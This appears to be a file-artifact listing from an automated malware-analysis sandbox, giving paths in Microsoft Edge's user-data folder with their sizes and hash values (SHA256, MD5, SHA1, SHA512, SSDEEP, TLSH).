SHA256 372bf8631f147ff5c33e02deacd871076894671b3825cfa7dcbe0bf75a8bc781
MD5 66e8a868052aaf7be308e77c3a488697
SHA1 1f60a6b80fab596820b966ba0848734b35cb52c8
SHA512 5fd526e15fbc77d6f9bfe4d7856cbea0184e370bc990074054eccae822bfa3a54be48edf96068493c23d98ae566420cdaaf24944e53c8b9dbae1cf139bf930c3
SSDEEP 384:nCiFavqMg38NW8TUNTUlIxB4d45qkK14fDKZ+dC9Blr73Ra45/VrN1k+5vI+C:JFayv3NwgL0kzKYdCnlr73Rai2
TLSH
T1B9C24B35ECA8DEAB9DEA8FC9A7097603EFE041A7958C0AD4DAD81D5D00D719D1307C27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 26KB
SHA256 4bdd279b2b08ce9bd276579bd5cad92466aa4d8c2dc4d49ecdc261ae94b93ffa
MD5 251a103a92e1ba737ad43444a10f1a92
SHA1 b01497630d65cfb8c46a9f449a9e5ef120a88265
SHA512 0383a859d94652971a188395f6eca2ed18ef5aa959707bfbe50a372c6f229b3f6d8665776c4226a7e376f8e64b847d164dccaa5fe825a012f1001c904409e22d
SSDEEP 384:nfiFavqMg38Ng8TUNTUlIRf4d1Vw4u14fDKZ+dC9BaqOtMiOqRrN1k+5vI+nX:qFayv33wgTeKYdCnaFqiOqbX
TLSH
T1F9C24B31E868CEA7ADEB8FC9B7097643EEE042A3998C4ED8D6D95D0C00971DD170BD16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

typosquatting_list.pb

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Typosquatting\2026.2.24.1\typosquatting_list.pb
Size 1.8MB
SHA256 c81b63e1f23e7ad362c75f94d3009844335233ef0211619a7cfea2056605bce7
MD5 25ea96effbd4b90e6a308ce11be78b44
SHA1 4d3bb132cf2e4656b0bb74d6ff0e685452d08025
SHA512 7db06e523872a3cc845a2e104cc94ea6db15c38533a4ee32f79c8ab702ed7589c4039602b2827b6840a1fc2ef7e973967a035e6438ac2254661185ebac578460
SSDEEP 12288:2lPKKhcIwtlFs6vAc3ZxNp2YnqgLMY9rl5/9JXYXHW55JN3R/aHUTZOAmsO21s7T:8Po5rNAYnqgvz/9JXYXHW/nR/UOZwS6
TLSH
T1F395B4B9DFC00184DAB8112D20BF71D8181412A180E9DFEAFE7C85DF2BC598977E59E9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 2KB
SHA256 746208fc7662826c9243ce25cc641403f3a7b11e80b8df80835a35a12452ae68
MD5 b4b9648ac0f16638793ec3f014693807
SHA1 da5eab06069fb8d310e66a9ecce7c314440d64fb
SHA512 1081926cebc31cd3d89e9542d6e3d1997680deddf3dd0f62b855c121189f0191aae6c4faf299f84c1b75b6e7a419c2d79a44db10b074303ed8060572c3042adb
TLSH
T11D4141D08C3D56D2D4FC1A2E648B38FC96E8D62AF4A4343C6464E9D8063A61C748443F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 2KB
SHA256 87303af263a50c941a36cca6e9fa8695ac8c5cec4f84a7f5cc5c66eb88243328
MD5 e16d81e5d3d6fa88d421cc3559a9cd2e
SHA1 ddd36169f3cea49b1c06c1823377a3759aa718a3
SHA512 a0b231d7b12a36f4840aabb90fd1f1ad17e92f13838dc5becbf513ebcc184c56918bf4c312ba77bd948ba0ca60d8254db79182e1caf35f3177e15206a4491ec0
TLSH
T1724141E04C3D66D1E4BC0A2EB44B38FC95ECC725F4A4343D6828EAD84A7A61D748447F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 2KB
SHA256 4fd47527728ae63578f067efe9e5e3e2f20160aadb7d3953a2879cf32d8f0b41
MD5 a38e4f678d2cfe1f3e9aefb1465ff9e4
SHA1 4b3f3e82628f31a91a5dfbaef12262bf6eb7dacf
SHA512 4359563158629b583a84e6a05b2de7322bde2d61173a112eec6d5ce73c2123f79131e29579d972f9f7c5c2ff991007df63efe25ecc54d6e852d53b249fb3114f
TLSH
T1F94150E08C7D66C1E4BD0A2EA44B38FC95E8C625F4B4343D2828EA984A7A61D748143E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 2KB
SHA256 5817d9dc02413324f609c4f94d41be8ecfd3c53ea29c4fea56f6cb107b7119cb
MD5 0b83726193f3c693960a07f3b52e1002
SHA1 1626ebf37e1631311e7bceb4a163c09fedbefcf5
SHA512 3f59d17c606273545be17a30a5e94166326d4681fe760b237b4fcade70dcd753a535001840d273455d18305df89bb0610208f18da701e6986a5fde94c7b99ef1
TLSH
T1915150E08C7D66C1E4BD0A2E645B38FC95E8C625F8B4343D2958EA980A7A61DB4C447E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 2KB
SHA256 b563e2fa1210f8584824ba8fefc11802395d53a59fa09be1f3350ea7466840e2
MD5 18491a5118ee7d9f53bb248cc6f4ee22
SHA1 a720875e3a63d23458394065d3b4077c90358bc6
SHA512 9776d7f6dd0d7846c78f7340274bdbd844f4f96d0fcd15285ce6605215936fa89f2a03912b1c9ecf993d873518e734e6a2bfa7772602f31447bb1da5d4f1e6a2
TLSH
T11F4163E04C3C66D1E4BD0E2EA44B38FC95ECC726F4A4343C6928E9D80A7A61C748447F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 2KB
SHA256 0deec6ad1e0823b9e3668bb0cd4e3390abd019ea40be201419bda9a331a4830d
MD5 23e2a9be1ac67f4868f7cd7eec1fc071
SHA1 8ea85cba123815f7558cdf7d531c0af022766e33
SHA512 e4a944e57133fe46e550dfb24ef56f5589cbf94855bfd67288953e92cfd6e6ac9fd54fd82d1a5b529ef71d06be86c8ab944d4634b006b8f98e99f094b85e05bc
TLSH
T1524163E04C3D66D6D4BC1A3E748B38FC95ECC626F4A4343C6864E9D8467A61C748443F
MD5 SHA1 SHA512 TLSH

Submit Download

31e3cb755cf2d66510c7f94c42df615dc13575ad2e8fd5a63887ca145424d34e

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\31e3cb755cf2d66510c7f94c42df615dc13575ad2e8fd5a63887ca145424d34e
Size 146KB
SHA256 31e3cb755cf2d66510c7f94c42df615dc13575ad2e8fd5a63887ca145424d34e
MD5 98144a4b67ce21832c45a0d20d3163fc
SHA1 d5d7d718eb78e4332899326f111796da8604a2d3
SHA512 3e25330d1ce5810426da57aff275d2ecdd09b6c0cbe4f7534cf8bf17c39f595dcca147b204b6f74396b23160757cc030753c4c227b0dbea54f489b9016459ae8
SSDEEP 3072:w0mACj/voHPqreKLgf7UxnNvVx0v23PPb3jLqX0kj2y7uzTs/oGIZnn:w0mACj/Yq76U5zx+cPP73qX0kj2yEZn
TLSH
T1D8E3E06C6EDAC806C45B60BAB915F0CBC5068F3BAB49741FA64948684D70B4E07F1EFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\metadata.json
Size 132B
SHA256 e192f7b1d0ccc851a40c79b09236a18a420f4bd29bc4eeaf3ef83380e1361175
MD5 b4e1acaaeb2a3c80aad33e4489d64119
SHA1 94f785f212ec3560309ebdd856c83265d189c846
SHA512 d209abd5c7b9778ae1e0a7483a2aae6a74e0eb5b44a5a5c231ae48103dd67f2cd402a230ce94b8a03cf5eb56010fbce93b1e8fdb6f75b3387afa240f85196e85
TLSH
T118C02B997C2735C19F0121FF221806BF4BD20D04902CC1F306BDC8040078778030049F
MD5 SHA1 SHA512 TLSH

Submit Download